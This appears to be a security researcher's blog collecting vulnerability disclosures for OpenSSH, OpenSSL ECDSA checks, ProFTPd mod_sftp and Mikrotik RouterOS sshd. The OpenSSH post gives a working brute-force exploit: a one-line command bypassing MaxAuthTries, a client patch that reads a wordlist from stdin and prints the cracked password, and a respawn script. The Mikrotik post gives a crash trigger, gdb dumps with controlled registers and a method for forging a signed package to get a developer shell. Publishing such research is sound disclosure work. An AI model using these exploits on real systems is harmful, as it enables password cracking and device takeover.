Afto pou perimenoume


OpenSSH keyboard-interactive authentication brute force vulnerability (MaxAuthTries bypass)

OpenSSH has a default value of six authentication tries before it will close the connection (the ssh client allows only three password entries per default).

With this vulnerability an attacker is able to request as many password prompts limited by the “login graced time” setting, that is set to two minutes by default.

Especially FreeBSD systems are affected by the vulnerability because they have keyboard-interactive authentication enabled by default.

A simple way to exploit the bug is to execute this command:

ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` targethost

This will effectively allow up to 10000 password entries limited by the login grace time setting.

The crucial part is that if the attacker requests 10000 keyboard-interactive devices openssh will gracefully execute the request and will be inside a loop to accept passwords until the specified devices are exceeded.

Here is a patch for openssh-6.9p1 that will allow to use a wordlist and any passwords piped to the ssh process to be used in order to crack passwords remotely.

diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
 > char password[1024];
 < authctxt->success = 1; /* break out */
 > printf("==============================================\n");
 > printf("*** SUCCESS **********************************\n");
 > printf("*** PASSWORD: %s\n", password);
 > printf("==============================================\n");
 > exit(0);
 > char *devicebuffer;
 > int i;
 > devicebuffer = calloc(1, 200000);
 > if (!devicebuffer) {
 > fatal("cannot allocate devicebuffer");
 > }
 > for (i=0;i<200000-2;i+=2) {
 > memcpy(devicebuffer + i, "p,", 2);
 > }
 > devicebuffer[200000] = 0;
 < packet_put_cstring(options.kbd_interactive_devices ?
 < options.kbd_interactive_devices : "");
 > packet_put_cstring(devicebuffer);
 < char *name, *inst, *lang, *prompt, *response;
 > char *name, *inst, *lang, *prompt;
 < int echo = 0;
 > char *pos;
 < echo = packet_get_char();
 < response = read_passphrase(prompt, echo ? RP_ECHO : 0);
 < packet_put_cstring(response);
 < explicit_bzero(response, strlen(response));
 < free(response);
 > packet_get_char();
 > if (fgets(password, 1024, stdin) == NULL)
 > exit(0);
 > if ((pos=strchr(password, '\n')) != NULL)
 > *pos = '';
 > printf("%s\n", password);
 > packet_put_cstring(password);

After applying the patch you can use this shell script to make the password attack from a wordlist:

# run as:
# cat wordlist.txt | ./ ssh-username ssh-target
while true
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...

For example enter this command:

cat wordlist.txt | ./ test

The attack has been tested against a new FreeBSD 10.1 system and older FreeBSD versions such as version 6.2.

OpenSSL,OpenSSH ecdsa authentication code inconsistent return values.. no vulnerability?

I am always looking for bugs in OpenSSH as it is written in clear to read source code and has very strong security. Somehow I was suprised when I saw the new ecdsa authentication checks in OpenSSH and especially the transition to OpenSSL.

I did read the code and tested it and I doubt that OpenSSH or OpenSSL is vulnerable at all. I cannot verify this without a strong understanding of the math involved. Please don’t laugh at me if this leads to thin air.

Ecdsa is the authentication method used by newer OpenSSH versions aside with RSA and DSA public key authentication.

It uses elliptic curves and points on these elliptic curves to verify the connection is valid and authenticate. Inside the OpenSSH code I see that it will accept at least three curve types from the client. These are nistp256,nistp384 and nistp521 being identified by their bit count. nistp256 is used as a default curve. I could not validate if other curve types that are supported by OpenSSL can be used by a remote connection to go through OpenSSH authentication based on their bit count, as far as I have seen OpenSSH checks the bit count of the requested curve. I tried to supply OpenSSH with two dimensional curves that are supported by OpenSSL but it didn’t exactly succeed. Why is this important in a potential attack?

Because OpenSSH calls two functions in the transition to OpenSSL to validate authentication based on group types and more identifiers, these are:



EC_GROUP_cmp should validate if two groups (the curves) are equal to each other.

Fun is that the top check done is checking the curve name, which again is the bit count of the curves supplied:

int EC_GROUP_cmp(const EC_GROUP *a,const EC_GROUP *b,

BN_CTX *ctx)

479 /* compare the field types*/
480 if (EC_METHOD_get_field_type(EC_GROUP_method_of(a)) !=
481 EC_METHOD_get_field_type(EC_GROUP_method_of(b)))
482 return 1;
483 /* compare the curve name (if present) */
484 if (EC_GROUP_get_curve_name(a) && EC_GROUP_get_curve_name(b) &&
485 EC_GROUP_get_curve_name(a) == EC_GROUP_get_curve_name(b))
486 return 0;

If the bit count is equal then OpenSSL will return zero as a value for success. This is not particular wrong behaviour, still akward that it only checks for the bit count when it should check the curve itself. For me a curve is like a graph and the bit count is only a small factor of the real information that should be checked before returning success.

The second function OpenSSH calls for verifiying authentication is EC_POINT_cmp. This function compares two EC_POINT values that encode x,y and z coordinates as OpenSSL BIGNUM types, the first originates from the authorized_keys file, the second from the client.

This function has more suspicious code flow. It returns success in comparison of the points if the curves method doesn’t have a point compare function. I know that this is internal audit code but still it shouldn’t return zero indicating success to OpenSSH, a return value of 1 should be fine.

The second check in EC_POINT_cmp will return success in comparison if the curves method is different from the first points method or if the first points method is different from the second points method. Especially the second check is interesting because point two is user supplied. Again a return value of 1 would be secure even if this might be internal audit code.

int EC_POINT_cmp(const EC_GROUP *group,const EC_POINT *a,

const EC_POINT *b,

BN_CTX *ctx)

992 {
993 if (group->meth->point_cmp == 0)
994 {
996 return 0;
997 }
998 if ((group->meth != a->meth) || (a->meth != b->meth))
999 {
1001 return 0;
1002 }
1003 return group->meth->point_cmp(group, a, b, ctx);
1004 }

When all these checks are passed it will call the curves point compare routine that is bound to the curve type.

The default case is that ec_GFp_simple_cmp function gets called for a nistp256 curve.

This function checks at the very top if point a is at its infinity. If that is the case and point b is at its infinity too than zero is returned again as success. It might sound undoable but what if somebody manages to set both points to its infinity by manipulating either one of the points or the curve. A point is at infinity if its Z coordinate is zero.

Here is an interesting commit involving the function:

These are the two authentication checks done in OpenSSH to verify a users certificate, here is the check in key.c:

299 if (EC_GROUP_cmp(EC_KEY_get0_group(a->ecdsa),
300  EC_KEY_get0_group(b->ecdsa), bnctx) != 0 ||
301  EC_POINT_cmp(EC_KEY_get0_group(a->ecdsa),
302  EC_KEY_get0_public_key(a->ecdsa),
303  EC_KEY_get0_public_key(b->ecdsa), bnctx) != 0) {
304  BN_CTX_free(bnctx);
305 return 0;
306 }

It much depends on the order the arguments are given to the OpenSSL functions because if EC_POINT_cmp takes the curve (named group here) as first argument it will do run authentication checks with this supplied curve. OpenSSH does that correctly by supplying the curve from the authorized_keys file as first argument whereas proftpd mod_sftp does supply the clients curve as the first argument and moreover the clients point BIGNUM coordinates as the first point in the arguments.

I personally do not trust this code, not because i don’t believe it’s secure but because it bluntly returns authentication success to OpenSSH when making internal audit checks. My personal opinion is that OpenSSH does not deserve this entry point of insecurity.



ProFTPd mod_sftp/mod_sftp_pam invalid pool allocation during kbdint authentication

ProFTPd installs with mod_sftp and mod_sftp_pam activated contain the vulnerability described in this post.

The current stable release of ProFTPd is 1.3.4d and the current release candidate is 1.3.5rc3.

First I have to note that this vulnerability is unlikely to be exploited. There is a way to control $rip instruction pointer

on 64 bit systems, for example on the Ubuntu 64Bit platform but I believe that it is not possible to get full code execution with this bug.

The bug is useful to trigger a large heap allocation and exhaust all available system memory of the underlying operating system.

Inside the file located at proftpd-1.3.5rc2/contrib/mod_sftp/kbdint.c ProFTPd handles the SSH keyboard interactive authentication procedure, in this case it will use pam as an authentication library therefore mod_sftp_pam has to be active for an installation to be vulnerable.

Source code file and line kbdint.c:300 reads:

[1] resp_count = sftp_msg_read_int(pkt->pool, &buf, &buflen);

[2] list = make_array(p, resp_count, sizeof(char *));
for (i = 0; i < resp_count; i++) {
char *resp;

resp = sftp_msg_read_string(pkt->pool, &buf, &buflen);
*((char **) push_array(list)) = pstrdup(p, sftp_utf8_decode_str(p, resp));

Line 1 will read the kbdint response count which is an unsigned integer with a size of 32 bits from the client during an SSH kbdint userauth info response client request.

This value is used to allocate a buffer with the size user_supplied_uint32_value multiplied by the size of a char pointer being 32bits or 64bits depending on the platform.

There is no size check before the request is sent to the pool allocator that is called by make_array at Line 2.

The pool allocator can be tricked to handle negative allocation sizes if resp_count is large enough.

There is a size check of the response count value but it’s done after this function returns.

The DoS condition can be triggered by sending an int32 value for resp_count that is slightly below the available memory of the target system and repeating the request.

Noteably OpenSSH vulnerability CVE-2002-0640 is very similar to this ProFTPd vulnerability. It has the very same code path.

Here is a reference to the OpenSSH Challenge-Response Authentication bug that was exploited by GOBBLES Security in their year 2002 sshutuptheo.tgz exploit:

Usage of keyboard interactive authentication in ProFTPd mod_sftp is rare as it is not activated by default.



Mikrotik RouterOS 5.* and 6.* sshd remote preauth heap corruption


During an audit the Mikrotik RouterOS sshd (ROSSSH) has been identified to have a remote previous to authentication heap corruption in its sshd component. Exploitation of this vulnerability will allow full access to the router device. This analysis describes the bug and includes a way to get developer access to recent versions of Mikrotik RouterOS using the ‘/etc/devel-login’ file. This is done by forging a modified NPK file using a correct signature and logging into the device with username ‘devel’ and the password of the administrator. This will drop into a busybox shell for further researching the sshd vulnerability using gdb and strace tools that have been compiled for the Mikrotik busybox platform. shows >290.000 entries for the ROSSSH search term.

The 50 megs Mikrotik package including all research items can be downloaded here (this link is subject to change):




  • VMWare image for x86 (other available architectures are not included but affected mips,ppc and so on) is available in the downloadable package
  • Overview of versions and architectures
  • Version 6.2 is affected, as a testbed VM I use version 5.25
  • Version 4 (?) is using openssh as a daemon. The crash in sshd might still occur in these versions tough untested (service respawns)
  • 5 (?) and up (including 5.25 and 6.2) use ROSSSH secure shell service
  • There is an option in the ssh service to login as user ‘devel’ and the same password as ‘admin’. To be able to do this it is required that the file ‘/etc/devel-login’ exists. This file is created at installation phase of the Mikrotik iso.
  • The Mikrotik 5.25 iso was modified to write this file into /etc/ folder during iso installation inside VMWare. This is accomplished by modifying an NPK package, the installation package format of Mikrotik.
  • Development tools, all to be used inside a second Linux
    • dumps NPK package structure and contents
    • * not used because it doesn’t handle signature
    • takes a ‘autosupout.rif’ file (it is a crashdump and logfile of the Mikrotik system when a crash occurs during operation) and converts it into a human readable form. The tool ‘Winbox’ developed by Mikrotik is used to fetch this .rif file from the device from the ‘Files’ section.
    •  ‘sshd’ binary file and libraries ‘’,’’ extracted from the device
    •  Interactive Disassembler for disassembling the x86 binaries of sshd
    •  The device runs on busybox. The second Linux can be used to compile a gdb that uses busybox in order to run it inside the Mikrotik VM, gdb is installed inside the Mikrotik VM. In the current state gdb does not resolve symbols, it is assumed that gdb has to be compiled on the target vm in order to resolve symbols. Error output from gdb:

‘Reading symbols from /nova/bin/sshd…I’m sorry, Dave, I can’t do that.
Symbol format `elf32-i386′ unknown.’
Still gdb can be used in the normal way only that function names from IDA will not be displayed.

    • strace is installed the same way gdb is. The strace tool is included in the VM.
  •  sshd heap corruption
    • There are 2 Crashpaths
      • one triggering an assert that might be circumvented
      •  crash occurs in ‘’
      •  it is triggered using the following command:

ssh -l`perl -e ‘print “A” x 100000’` <ip of mikrotik router>

      • it is unclear why the assert crashes the sshd service process, normally it should write the ‘too long message sent’ to the log- file and bail out without reaching the assert.

Assumed is because control structures where overwritten and the assert catches this corruption. The process dies with Signal 6, abort trap. It does not respawn.

    • one triggering Sigsegv, signal 11 with controllable values
      • crash occurs inside
      • here is the gdb log when the crash occurs, the value of ECX is controlled other values of memory regions (?) or registers are controllable too when tweaking the trigger client. The instructions “rep movsb %ds:(%esi),%es:(%edi)” copy from ESI (here our AAAA’s buffer is located) to EDI, in this case EDI has a zero value, in other testcases the value of EDI is a memory pointer.

GNU gdb 6.8
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.
This GDB was configured as “i686-linux-uclibc”…
attach: No such file or directory.
Attaching to process 324
Reading symbols from /nova/bin/sshd…I’m sorry, Dave, I can’t do that. Symbol format `elf32-i386′ unknown.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0x77848596 in ?? ()
(gdb) bt
#0 0x77848596 in ?? ()
(gdb) i f
Stack level 0, frame at 0x7f8f78b4:
eip = 0x77848596; saved eip 0x8050e38
Arglist at 0x7f8f78ac, args:
Locals at 0x7f8f78ac, Previous frame’s sp is 0x7f8f78b4
Saved registers:
eip at 0x7f8f78b0
(gdb) x/10i $eip
0x77848596: rep movsb %ds:(%esi),%es:(%edi)
0x77848598: mov -0x1c(%ebp),%ecx
0x7784859b: mov 0x8(%ebp),%eax
0x7784859e: add %ecx,0xc(%eax)
0x778485a1: add $0x10,%esp
0x778485a4: mov %edx,%eax
0x778485a6: lea -0xc(%ebp),%esp
0x778485a9: pop %ebx
0x778485aa: pop %esi
0x778485ab: pop %edi
(gdb) i r
eax 0x0 0
ecx 0xc0ffff 12648447
edx 0x8050e38 134549048
ebx 0x7785ea9c 2005265052
esp 0x7f8f78b0 0x7f8f78b0
ebp 0x7f8f78e8 0x7f8f78e8
esi 0x806ca22 134662690
edi 0x0 0
eip 0x77848596 0x77848596
eflags 0x210216 [ PF AF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x0 0
(gdb) x/10x $esi
0x806ca22: 0x41414141 0x41414141 0x41414141 0x41414141
0x806ca32: 0x41414141 0x41414141 0x41414141 0x41414141
0x806ca42: 0x41414141 0x41414141

    •  here is the C source of code lines that make this crash occur, specifically ‘getStringAsBuffer’ is the function that contains the code that includes the ‘rep movsb %ds:(%esi),%es:(%edi)’ seen at the gdb log when the crash occurs. Extracted with Hex Rays Decompiler (IDA Plugin)

//—– (00018518) ——————————————————–
void *__cdecl Buffer::getStringAsBuffer(int a1)
char v1; // al@1
void *v2; // edx@1
unsigned int v3; // eax@2
char v4; // al@2
void *v5; // ST18_4@3
unsigned int v7; // [sp+14h] [bp-1Ch]@2

v1 = Buffer::avail(a1, 4);
v2 = 0;
if ( v1 )
v3 = Buffer::getInt32(a1);
v7 = v3;
v4 = Buffer::avail(a1, v3);
v2 = 0;
if ( v4 )
v5 = malloc(0x14u);
Buffer::Buffer(v5, v7);
v2 = v5;
memcpy(*((void **)v5 + 1), (const void *)(*(_DWORD *)(a1 + 12) + *(_DWORD *)(a1 + 4)), v7);
*(_DWORD *)(a1 + 12) += v7;
return v2;

//—– (00014FB4) ——————————————————–
int __cdecl Buffer::Buffer(int a1, int a2)
int result; // eax@1

result = a1;
*(_BYTE *)(a1 + 16) = 0;
*(_DWORD *)(a1 + 12) = 0;
*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 0;
*(_DWORD *)(a1 + 8) = 0;
if ( a2 )
result = Buffer::expand(a1, a2);
return result;

//—– (00014EAA) ——————————————————–
char __cdecl Buffer::expand(int a1, int a2)
int v2; // ecx@1
const void *v3; // eax@1
int v4; // esi@1
char result; // al@1
void *v6; // eax@5
int v7; // edx@5
int v8; // [sp+4h] [bp-24h]@1
unsigned int v9; // [sp+8h] [bp-20h]@4
const void *ptr; // [sp+Ch] [bp-1Ch]@1

v2 = *(_DWORD *)(a1 + 8);
v3 = *(const void **)(a1 + 4);
ptr = v3;
v8 = v2 – (_DWORD)v3;
v4 = *(_DWORD *)(a1 + 12) + a2;
result = 1;
if ( v4 > (unsigned int)v8 )
if ( (unsigned int)v4 <= 0x40400 )
v9 = *(_DWORD *)a1;
if ( (unsigned int)v4 <= *(_DWORD *)a1 )
*(_DWORD *)(a1 + 8) = v4 – v8 + v2;
v6 = malloc((v4 + 71) & 0xFFFFFFF8);
v7 = a1;
*(_DWORD *)(a1 + 4) = v6;
*(_DWORD *)(a1 + 8) = (char *)v6 + v4;
if ( ptr )
memcpy(v6, ptr, v9);
free((void *)ptr);
v7 = a1;
*(_DWORD *)v7 = (v4 + 71) & 0xFFFFFFF8;
result = 1;
*(_BYTE *)(a1 + 16) = 1;
result = 0;
return result;

  •  crash analysis

— signal=6 ——————————————–

eip=0x77533bd9 eflags=0x00200202
edi=0x7fed71f8 esi=0x7755a268 ebp=0x7fed6ec8 esp=0x7fed6ec0
eax=0x00000000 ebx=0x00000375 ecx=0x00000006 edx=0x77559ff4

backtrace: 0x77533bd9 0x7754ff5b 0x77551a9f 0x775367aa 0x776ceec8 0x776d76b3
0x776d1a2f 0x776d886d 0x7770aa32 0x7770e128 0x7770e321 0x777131af 0x7770e54b
0x77708f53 0x776fab3d 0x776c75fe 0x776c769c 0x776d26ad 0x0804aadd 0x77555bf6

87 d3 89 c6 3d 00 f0 ff ff 76 0c e8 97 e3 ff ff

08048000-0804c000 r-xp 00000000 03:02 229622 /nova/bin/sshd
77523000-77525000 r-xp 00000000 03:02 148070 /lib/
77527000-77528000 r-xp 00000000 03:02 147779 /lib/
7752a000-77559000 r-xp 00000000 03:02 148087 /lib/
7755d000-77562000 r-xp 00000000 03:02 106659 /lib/
77563000-77573000 r-xp 00000000 03:02 148084 /lib/
77574000-7757c000 r-xp 00000000 03:02 147776 /lib/
7757d000-77693000 r-xp 00000000 03:02 147777 /lib/
776a4000-776ad000 r-xp 00000000 03:02 148066 /lib/
776ae000-776e3000 r-xp 00000000 03:02 148083 /lib/
776e7000-77715000 r-xp 00000000 03:02 148155 /lib/
7771a000-7771f000 r-xp 00000000 03:02 148082 /lib/
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

logtail 1024 begin:
LOOPER: write message too long
/nova/bin/sshd: looper.cpp: 1324:
void nv::Looper::writeMessage(const nv::message&): Assertion `false’ failed.

logtail end

— signal=11 ——————————————–

eip=0x777cc596 eflags=0x00210202
edi=0x00000000 esi=0x0806c0da ebp=0x7fba7928 esp=0x7fba78f0
eax=0x00000000 ebx=0x777e2a9c ecx=0x00c0ffff edx=0x08052868

backtrace: 0x777cc596 0x777d4203 0x777daf7c 0x777db321 0x777e01af 0x777db54b
0x777d5f53 0x777c7b3d 0x777945fe 0x7779469c 0x7779f6ad 0x0804aadd

f3 a4 8b 4d e4 8b 45 08 01 48 0c 83 c4 10 89 d0

08048000-0804c000 r-xp 00000000 03:02 16630 /nova/bin/sshd
775ec000-775ee000 r-xp 00000000 03:02 336486 /lib/
775f0000-775f1000 r-xp 00000000 03:02 336195 /lib/
775f3000-77622000 r-xp 00000000 03:02 336503 /lib/
77626000-7762f000 r-xp 00000000 03:02 336496 /lib/
77630000-77640000 r-xp 00000000 03:02 336500 /lib/
77641000-77649000 r-xp 00000000 03:02 336192 /lib/
7764a000-77760000 r-xp 00000000 03:02 336193 /lib/
77771000-7777a000 r-xp 00000000 03:02 336482 /lib/
7777b000-777b0000 r-xp 00000000 03:02 336499 /lib/
777b4000-777e2000 r-xp 00000000 03:02 336571 /lib/
777e7000-777ec000 r-xp 00000000 03:02 336498 /lib/
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

logtail 1024 begin:,,hmac-md5,hmac-sha1,umac-64,,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hma,hmac-sha1-96,hmac-md5-96
mac algo SC:,,umac-64-etm@open,,,hmac-sha2-512-etm,,,hmac-md,hmac-md5,hmac-sha1,,
comp algo CS: none,,zlib
comp algo SC: none,,zlib
packet follows: 0
agreed on: diffie-hellman-group-exchange-sha256 aes128-cbc aes128-cbc hmac-md5 h
mac-md5 none none
trying DSS file
DSA key loaded
trying PEM container..
DSA key loaded
transport state: 1 –> 2
authorization service requested
auth req: kcope ssh-connection none
next auth methods: publickey,password

logtail end

  •  logins for the Mikrotik VM

the ip address of the device can be seen with the command
ip address print
because dhcp should already be activated.

admin username: admin
admin password: <blank>

developer login using telnet and ssh, please login with telnet for using gdb
devel username: devel
devel password: <blank>

  •  files that are included in the downloadable package
    •  Mikrotik-5.25-dev.vmdk and .vmx – Virtual Machine of Mikrotik router.
    •  mikrotik-5.25-touchdevel.iso – the iso file for installation

VMWare 8.0.3 is used to run it, all other softwares will run it too
such as QEmu and Virtualbox

    •  trigger source code for crash number 2.

modified file: sshconnect2.c of openssh6.2p2trigger.tar.gz

    •  ups-5.25-touchdevel.npk the NPK package that is used to create the ‘/etc/devel-login’ file. It is already included in the mikrotik-5.25-touchdevel.iso it has been created by modifying the commands that are executed during installation using a hex editor and afterwards the SHA1 signature of the NPK file has been identified using the original installer binary by reversing. The signature has been set in the NPK file so the ISO installer accepts the NPK during installation even if it prints out a warning.
    •  gdb toolchain

the gdb,strace,ps,netstat binaries that where copied to the target

    •  C source files of and

extracted with hex rays decompiler IDA plugin

    •  all binaries can be extracted from the target by copying them using developers login from their file path to ‘/rw/pckg’ and fetching them using the Winbox tool to a Windows system. In the same way files can be copied inside Winbox ‘Files’ section these files will be then located in ‘/rw/pckg’.
    •  Winbox Configuration tool for RouterOS can be found at